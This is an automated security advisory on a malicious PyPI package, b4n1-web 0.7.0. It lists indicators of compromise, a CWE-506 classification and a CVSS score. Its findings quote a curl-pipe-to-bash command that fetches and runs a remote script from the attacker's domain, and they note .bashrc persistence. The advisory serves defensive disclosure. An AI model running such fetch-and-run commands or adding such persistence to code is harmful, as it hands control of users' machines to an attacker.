GCVE-110-OSM-2026-4279

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published May 13, 2026

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, code execution, network activity. [osmalyze-auto] Entrypoint: b4n1web/__main__.py (console-script: b4n1web-install=b4n1web.__main__:install_command) Exfil: https://web.b4n1.com/latest-version (custom-c2, recovery: plaintext in b4n1web/__main__.py) Payload: b4n1web/__main__.py Key findings: - Curl/Wget Pipe to Shell in b4n1web/__init__.py: "curl -sL https://web.b4n1.com/install | bash" - Shell Command Execution in b4n1web/__main__.py: "subprocess.run(" - Startup Persistence in b4n1web/__main__.py: ".bashrc" - Shell Command Execution in b4n1web/browser.py: "subprocess.run(" - Curl/Wget Pipe to Shell in b4n1web/errors.py: "curl -sL https://web.b4n1.com/install | bash" IOCs: - urls: https://web.b4n1.com, https://web.b4n1.com/install, https://web.b4n1.com/latest-version - domains: web.b4n1.com - payloadFileHash: 32645ece6b2bd219f81c6c4ec3bc6536bbee1bf0744db33d95a59dcf17f4e465

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	b4n1-web	0.7.0 (affected)	—

References

Malicious pypi package: b4n1-web

advisory

vendor

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